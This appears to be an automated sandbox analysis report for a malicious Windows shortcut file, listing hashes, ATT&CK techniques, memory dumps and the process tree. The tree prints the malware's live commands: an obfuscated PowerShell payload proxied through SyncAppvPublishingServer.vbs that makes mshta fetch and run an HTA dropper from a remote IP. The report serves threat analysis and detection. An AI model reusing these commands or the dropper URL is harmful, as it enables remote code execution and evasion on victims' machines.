3ad8f87352fa728a50ddf29d9b8e0ceb78d54cfa6d91f485c6df06cd0898244c

General

Target

3ad8f87352fa728a50ddf29d9b8e0ceb78d54cfa6d91f485c6df06cd0898244c.lnk
Size

1KB
MD5

f5cd6dfa22f3364b0f940eb841d8ea5d
SHA1

9969c00f4e7d9954423b79e995fa11015c8c5955
SHA256

3ad8f87352fa728a50ddf29d9b8e0ceb78d54cfa6d91f485c6df06cd0898244c
SHA512

60d347b1293b4bdb06feb3e98038db69207639a52e3e00ba802071079fac3e68e90573c1a28346f5f1c2911706a91962eed0f95b595b5d9a3893ddce688e76e4

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://45.153.243.208/a57

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	928	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe
2224	powershell.exe
2224	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 2420	4824	cmd.exe	89
PID 4824 wrote to memory of 2420	4824	cmd.exe	89
PID 2420 wrote to memory of 3088	2420	WScript.exe	92
PID 2420 wrote to memory of 3088	2420	WScript.exe	92
PID 3088 wrote to memory of 2224	3088	powershell.exe	95
PID 3088 wrote to memory of 2224	3088	powershell.exe	95
PID 2224 wrote to memory of 928	2224	powershell.exe	96
PID 2224 wrote to memory of 928	2224	powershell.exe	96

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3ad8f87352fa728a50ddf29d9b8e0ceb78d54cfa6d91f485c6df06cd0898244c.lnk
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Windows\System32\SyncAppvPublishingServer.vbs" ;542,548,537,549,530,465,537,549,549,545,491,480,480,485,486,479,482,486,484,479,483,485,484,479,483,481,489,480,530,486,488|%{$N+=[char]($_-433)};$N | powershell -
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer ;542,548,537,549,530,465,537,549,549,545,491,480,480,485,486,479,482,486,484,479,483,485,484,479,483,481,489,480,530,486,488|%{$N+=[char]($_-433)};$N | powershell -}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2224
    - - C:\Windows\system32\mshta.exe
        
        "C:\Windows\system32\mshta.exe" http://45.153.243.208/a57
        5⤵
        Blocklisted process makes network request
        
        PID:928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_icbz41r4.n5u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2224-26-0x00007FFEBDDD0000-0x00007FFEBE891000-memory.dmp

Filesize
10.8MB

Download
memory/2224-27-0x0000026DDE400000-0x0000026DDE410000-memory.dmp

Filesize
64KB

Download
memory/2224-31-0x00007FFEBDDD0000-0x00007FFEBE891000-memory.dmp

Filesize
10.8MB

Download
memory/2224-28-0x0000026DDE400000-0x0000026DDE410000-memory.dmp

Filesize
64KB

Download
memory/3088-16-0x000001F8F9350000-0x000001F8F936C000-memory.dmp

Filesize
112KB

Download
memory/3088-11-0x000001F8F6A00000-0x000001F8F6A10000-memory.dmp

Filesize
64KB

Download
memory/3088-14-0x000001F8F9270000-0x000001F8F9325000-memory.dmp

Filesize
724KB

Download
memory/3088-12-0x000001F8F6A00000-0x000001F8F6A10000-memory.dmp

Filesize
64KB

Download
memory/3088-35-0x00007FFEBDDD0000-0x00007FFEBE891000-memory.dmp

Filesize
10.8MB

Download
memory/3088-15-0x00007FFEBECB0000-0x00007FFEBED65000-memory.dmp

Filesize
724KB

Download
memory/3088-10-0x00007FFEBDDD0000-0x00007FFEBE891000-memory.dmp

Filesize
10.8MB

Download
memory/3088-13-0x000001F8F6A00000-0x000001F8F6A10000-memory.dmp

Filesize
64KB

Download
memory/3088-2-0x000001F8F90E0000-0x000001F8F9102000-memory.dmp

Filesize
136KB

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Analysis

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